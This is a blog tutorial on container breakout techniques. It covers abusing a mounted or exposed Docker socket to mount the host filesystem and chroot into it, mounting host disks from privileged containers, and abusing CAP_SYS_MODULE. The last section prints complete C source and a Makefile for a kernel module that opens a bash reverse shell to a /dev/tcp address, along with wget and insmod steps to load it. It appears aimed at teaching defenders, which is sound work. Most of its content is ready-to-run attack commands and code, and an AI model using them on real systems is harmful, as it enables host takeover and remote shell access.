Container Security-Common issues

n00🔑
6 min readNov 24, 2021

Note: If you need to get overview of container internals, please go through previous article(https://pswalia2u.medium.com/container-internals-c03ed692e35c) before reading this.

A) Docker unix socket mounted in container/Docker tcp socket exposed(Container Breakout-1)-

Some container monitoring and management application requires docker unix socket to be mounted inside container for their functioning(e.g portainer). We will see how an attacker can abuse these, but first we will create a vulnerable container-

i) Finding socket file location-

Name of docker socket is by default docker.sock . We can view all unix sockets by running-

netstat -a -p --unix | grep docker

ii) Mounting socket inside container-

docker run -it -v /run/docker.sock:/var/docker.sock --name alpine1 alpine sh

iii) Finding the location of socket (We assume that attacker already got RCE inside container)-

find / -name docker.sock

iv) Getting access to host machine-

We can either do http requests to docker daemon manually using curl-

curl --unix-socket /var/docker.sock -H "Content-Type: application/json" \                                                                                                                                                                 
> -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}' \
> -X POST http://localhost/v1.41/containers/create
curl --unix-socket /var/docker.sock -X POST http://localhost/v1.41/containers/041f3911456cf552ee1643ccffea3a0e272587a6880fd6b349331d83fd72d18e/startcurl --unix-socket /var/docker.sock -X POST http://localhost/v1.41/containers/041f3911456cf552ee1643ccffea3a0e272587a6880fd6b349331d83fd72d18e/wait

We just ran a new container and used echo program inside that container.

OR we can transfer docker cli client static binary to the container if possible-

wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz
tar -xvf docker-20.10.9.tgz
python3 -m http.server 80
curl http://172.17.0.1/docker/docker --output docker_cli
chmod +x docker_cli
./docker_cli -H unix:///var/docker.sock run -it -v /:/host_fs/ ubuntu bash
chroot /host_fs/ bash

These processes are running on host machine on which docker daemon is running. We have full control of the host using chroot!

So now we have seen how much critical is the docker unix socket file. It should not be mounted in containers.

Similarly if tcp socket is exposed-

i) We need to start dockerd with following command, to expose tcp socket-

/usr/sbin/dockerd -H tcp://0.0.0.0:2375

ii) Start container with docker tcp socket exposed to container-

docker -H tcp://0.0.0.0:2375 run --net=host -it ubuntu sh

iii) now we can start a new container exposing root file system of host-

./docker -H tcp://127.0.0.1:2375 run -it -v /:/host_fs/ ubuntu bash
chroot /host_fs/ bash

B) Privileged container or all capabilities allowed(Container breakout-2)-

If the container is started with either

--privileged OR--cap-add=all

these can help attacker in accessing host.

i) Let’s check available device files on two containers(on the left is privileged one and on right is normal one)

container(process) on the left has access to all the host devices. we can also use command fdisk -l

ii) Mounting and accessing host file system-

Let’s try to mount the /dev/sda1 device in container

mount /dev/sda1 /mnt
chroot /mnt bash

C) Exploiting capabilities-

Capability is a group of one or more specific privileges. There are many of these groups(capabilities). You can think of each capability/group as a group of sys calls. These allows us to give fine grained access of certain kernel features to a program or a binary. As an example /usr/bin/ping needs root access for creating a raw socket for icmp. Now for this one way is to configure sudo for ping in sudoers file, or we can set suid bit with owner of ping file as root user, or we can assign a specific capability to ping binary known as CAP_NET_RAW to be able to create and use raw socket. So rather than giving full root access we were able to further provide fine grained access in this case to ping program. More about these with respect to containers is here https://docs.docker.com/engine/reference/run/

Let’s see how we can abuse some of these capabilities-

a) Abusing CAP_SYS_MODULE cpability(Container Breakout-3)-

If the container is ran with CAP_SYS_MODULE capability then it is possible to create and add our own custom kernel modules into kernel(as kernel is shared with the host), so effectively our malicious code will be executed in the host outside the container. Let’s see this in action, first we will start container with this capability and then try to abuse that-

i) Start the container with SYS_MODULE capability

ii) Determining capabilities of container proccess-

ps -aux
cat /proc/1/status | grep Cap
capsh --decode=00000000a80525fb

iii) Compiling and loading kernel module-

A) First we need to make sure libraries/header files are there in out system required for compilation

sudo apt-get install -y build-essential linux-headers-$(uname -r)

B) Finding IP assigned to container-

hostname -i

C) Compile the kernel module

Note: Below code is copied from https://greencashew.dev/posts/how-to-add-reverseshell-to-host-from-the-privileged-container/

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
static char command[] = "bash -i >& /dev/tcp/172.17.0.3/8888 0>&1"; //Reverse shell change ip and port if needed

char *argv[] = {
"/bin/bash",
"-c", // flag make command run from option list
command, // Reverse shell
NULL // End of the list
};
static char *envp[] = {
"HOME=/",
NULL // End of the list
};

static int __init connect_back_init(void)
{

return call_usermodehelper(
argv[0], // execution path
argv, // arguments for process
envp, // environment for process
UMH_WAIT_EXEC // don't wait for program return status
);
}

static void __exit connect_back_exit(void)
{
printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

Creating Make file for easy compilation-

obj-m += reverseshell_module.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

D) Installing kernel module-

wget http://172.17.0.1:8000/rev_module.ko

Note: make sure you start listening for rev shell in other bash session within container.

iv) Getting rev shell of host-

chmod +x rev_module.ko; insmod rev_module.ko

kernel module can be removed by using rmmod rev_module.ko command.

Thanks for reading!

References:

--

--